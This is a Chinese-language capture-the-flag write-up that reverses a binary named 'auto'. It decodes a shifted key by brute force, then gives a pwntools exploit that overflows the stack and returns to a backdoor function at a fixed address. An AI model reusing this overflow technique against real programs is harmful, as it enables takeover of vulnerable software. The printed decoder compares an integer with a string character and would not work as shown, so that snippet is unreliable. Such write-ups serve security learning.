保护正常。
main函数过大,肯定不是都有用,所以我们进来得一点一点看汇编。
第一块是设置缓冲区
这个是把var_C设置为19.通过循环的方式。
栈一个变量里面写了几个字母,然后正常输出输入。之后跳走。
要注意s2是UCIJEURI
这个函数要跑七次,作用是通过complex_function函数把我们的输入进行一个加密。
继续读main函数。
把我们输入的字符串地址防到eax,然后加1.
两个movzx作用是将输入的第二个字符取出来,因为上面加了个1。
与10h做了与运算,结果保留在eax中,然后test eax eax,假如与运算结果是0,也就是说倒数第五个比特不是1,那么结果就是0,test的结果就是0,z标志位就会是1,dl会被置0.
s2的第一个字符拿出来也会做这种操作,最后结果保存在al,然后xor一下,结果在eax,如果一样的话是0,z是1,会跳走。
总结一下就是s1,s2第二个字符的倒数第5个比特,必须是一样的。
那么我们现在分析一下,要不要给它跳走,我们去看看别的函数。
这个函数里面会有明显的栈溢出。
后门函数也有,问题是如何跳到这个函数。
这是上面的aaz,会把这个全局变量设置成0.
aas里面会调用到那个栈溢出函数,所以我们要想办法调用aas函数,里面会有两个判断条件,首先s1跟s2要一样,然后那个should_succeed不能置0,也就是说不能去跑那个aaz函数,所以我们的整个过程就是说一下不能进aaz,一直跑到aas就可以了。
我们上面已经跑了一个了,它要求我们的第二个字符的第五个比特必须是一样的,我们继续跑剩下的。
往下走是
也是一堆判断然后判断跳不跳,跳的话会跳到aaz,所以我们选择不跳,不跳的条件就是说第二个字符与上8是一样的,也就是说倒数第四个比特要是一样的。
下面这个就得跳走了,条件是跟4与了得一样,就是倒数第三个比特一样。
这个是第一个比特
这个不大一样,这个取得是第一个字符,然后把符号位取出来判断一下,一样就好。
顺着它得逻辑一路向下,最后到达了aas,然后总的来说有什么判断条件呢,要求第一个字符符号位一样,第二个字符,后七个比特一样,但是你看,这是不是说了堆废话……我们说在ass里面,要求s1和s2相同,都相同了,这一对判断条件不就满足了?
这题多少带点脑溢血。
所以其实我们只要把s2那几个字符,通过加密算法逆向出来,过了一大堆判断,然后栈溢出,就好了。
逆向算法的话我这里用的是直接遍历。
s = 'UCIJEURI'
f = ''
for i in range(8):
for j in range(65, 91):
if (5 * i + j - 65) % 26 + 65 == s[i]:
f += chr(j)
print(f)
exp
from pwn import*
r = process("./auto")
r.sendlineafter(':', 'UXYUKVNZ')
payload = 'a'*0x4c + p32(0x8048665)
r.sendlineafter(':', payload)
r.interactive()